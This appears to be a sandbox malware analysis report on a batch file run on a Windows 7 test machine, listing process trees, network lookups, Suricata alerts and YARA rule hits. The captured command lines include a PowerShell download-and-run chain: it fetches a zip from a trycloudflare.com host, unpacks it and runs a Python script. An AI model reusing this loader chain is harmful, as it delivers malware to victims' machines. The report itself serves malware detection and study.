Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | June 12, 2024, 1:22 p.m. | June 12, 2024, 1:24 p.m. |
-
cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "HnbFriUQm" C:\Users\test22\AppData\Local\Temp\bas.bat
2548-
-
-
iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2716 CREDAT:145409
2800 -
iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2716 CREDAT:79875
2408
-
-
timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
2896 -
powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://stocks-army-malta-false.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' }"
3000 -
powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\test22\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\test22\Downloads' -Force }"
2136 -
python.exe python.exe new.py
2244 -
timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
2544
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
apps.identrust.com |
CNAME
a1952.dscq.akamai.net
CNAME
identrust.edgesuite.net
|
23.210.247.57 |
stocks-army-malta-false.trycloudflare.com | 104.16.231.132 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49170 -> 104.16.230.132:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49169 -> 104.16.230.132:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49191 -> 104.16.230.132:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
UDP 192.168.56.101:59002 -> 164.124.101.2:53 | 2034552 | ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com) | Potentially Bad Traffic |
TCP 192.168.56.101:49192 -> 104.16.230.132:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49169 104.16.230.132:443 |
C=US, O=Let's Encrypt, CN=R3 | CN=trycloudflare.com | a3:f1:76:20:39:10:75:f8:d0:71:aa:22:34:05:7c:75:27:6a:51:4d |
TLSv1 192.168.56.101:49170 104.16.230.132:443 |
C=US, O=Let's Encrypt, CN=R3 | CN=trycloudflare.com | a3:f1:76:20:39:10:75:f8:d0:71:aa:22:34:05:7c:75:27:6a:51:4d |
TLSv1 192.168.56.101:49191 104.16.230.132:443 |
C=US, O=Let's Encrypt, CN=R3 | CN=trycloudflare.com | a3:f1:76:20:39:10:75:f8:d0:71:aa:22:34:05:7c:75:27:6a:51:4d |
TLSv1 192.168.56.101:49192 104.16.230.132:443 |
C=US, O=Let's Encrypt, CN=R3 | CN=trycloudflare.com | a3:f1:76:20:39:10:75:f8:d0:71:aa:22:34:05:7c:75:27:6a:51:4d |
request | GET http://apps.identrust.com/roots/dstrootcax3.p7c |
request | GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://stocks-army-malta-false.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' }" |
cmdline | powershell -Command "& { Expand-Archive -Path 'C:\Users\test22\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\test22\Downloads' -Force }" |
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Communication using DGA | rule | Network_DGA | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | (no description) | rule | Check_Dlls | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Affect hook table | rule | win_hook | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Bypass DEP | rule | disable_dep |
cmdline | "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2716 CREDAT:79875 |
cmdline | "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2716 CREDAT:145409 |
cmdline | "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome |
host | 117.18.232.200 |
file | C:\Windows\System32\ie4uinit.exe |
file | C:\Program Files\Windows Sidebar\sidebar.exe |
file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
file | C:\Windows\System32\xpsrchvw.exe |
file | C:\Windows\System32\displayswitch.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
file | C:\Windows\System32\mblctr.exe |
file | C:\Windows\System32\mstsc.exe |
file | C:\Windows\System32\SnippingTool.exe |
file | C:\Windows\System32\SoundRecorder.exe |
file | C:\Windows\System32\dfrgui.exe |
file | C:\Windows\System32\msinfo32.exe |
file | C:\Windows\System32\rstrui.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
file | C:\Program Files\Windows Journal\Journal.exe |
file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
file | C:\Windows\System32\MdSched.exe |
file | C:\Windows\System32\msconfig.exe |
file | C:\Windows\System32\recdisc.exe |
file | C:\Windows\System32\msra.exe |